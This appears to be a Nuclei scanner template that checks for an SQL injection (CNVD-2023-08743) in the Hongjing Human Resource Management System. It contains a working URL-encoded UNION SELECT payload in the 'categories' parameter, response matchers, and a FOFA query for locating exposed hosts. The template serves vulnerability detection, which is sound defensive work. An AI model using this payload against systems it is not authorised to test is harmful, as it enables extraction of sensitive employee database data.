id: CNVD-2023-08743

info:
  name: Hongjing Human Resource Management System - SQL Injection
  author: SleepingBag945
  severity: critical
  description: There is a SQL injection vulnerability in the categories of Hongjing Human Resource Management System, from which attackers can obtain sensitive database information.
  reference:
    - https://www.henry4e36.top/index.php/archives/162.html
    - https://blog.csdn.net/qq_41904294/article/details/130944159
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="人力资源信息管理系统"
  tags: cnvd2023,cnvd,hongjing,hcm,sqli,vuln

http:
  - raw:
      - |
        GET /servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27hongjing~27~2c~40~40version~2d~2d HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header,"text/xml")'
          - 'contains_all(body,"TreeNode id=\"hongjing","SQL Server")'
        condition: and
# digest: 4b0a00483046022100833fa4c2e42e2ca8d41372b39569f28c93c64a28998f638c923681d73ff95c2f022100c54339b8e790fcf2c72b283332363e822efe9a68a07b935d7e2d61d664b26b7c:922c64590222798bb761d5b6d8e72950